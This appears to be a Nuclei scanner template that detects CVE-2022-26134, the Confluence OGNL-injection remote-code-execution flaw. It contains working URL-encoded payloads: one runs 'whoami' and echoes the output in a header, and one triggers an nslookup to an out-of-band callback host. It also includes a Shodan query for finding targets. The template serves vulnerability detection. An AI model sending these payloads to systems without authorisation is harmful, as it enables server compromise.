44 lines
1.7 KiB
YAML
44 lines
1.7 KiB
YAML
id: CVE-2022-26134
|
|
|
|
info:
|
|
name: Confluence - Remote Code Execution via OGNL template injection
|
|
author: pdteam,jbertman
|
|
severity: critical
|
|
description: |
|
|
Critical severity unauthenticated remote code execution vulnerability in Confluence Server and Data Center.
|
|
reference:
|
|
- https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
|
|
- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
|
|
- https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
|
|
- https://jira.atlassian.com/browse/CONFSERVER-79016
|
|
classification:
|
|
cve-id: CVE-2022-26134
|
|
metadata:
|
|
shodan-query: http.component:"Atlassian Confluence"
|
|
tags: cve,cve2022,confluence,rce,ognl,oast,cisa
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
|
|
- "{{BaseURL}}/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20{{interactsh-url}}%22%29%7D/"
|
|
|
|
stop-at-first-match: true
|
|
req-condition: true
|
|
matchers-condition: or
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(to_lower(all_headers_1), "x-cmd-response:")'
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(interactsh_protocol, "dns")'
|
|
- 'contains(to_lower(response_2), "confluence")'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: kval
|
|
part: header
|
|
kval:
|
|
- "x_cmd_response" |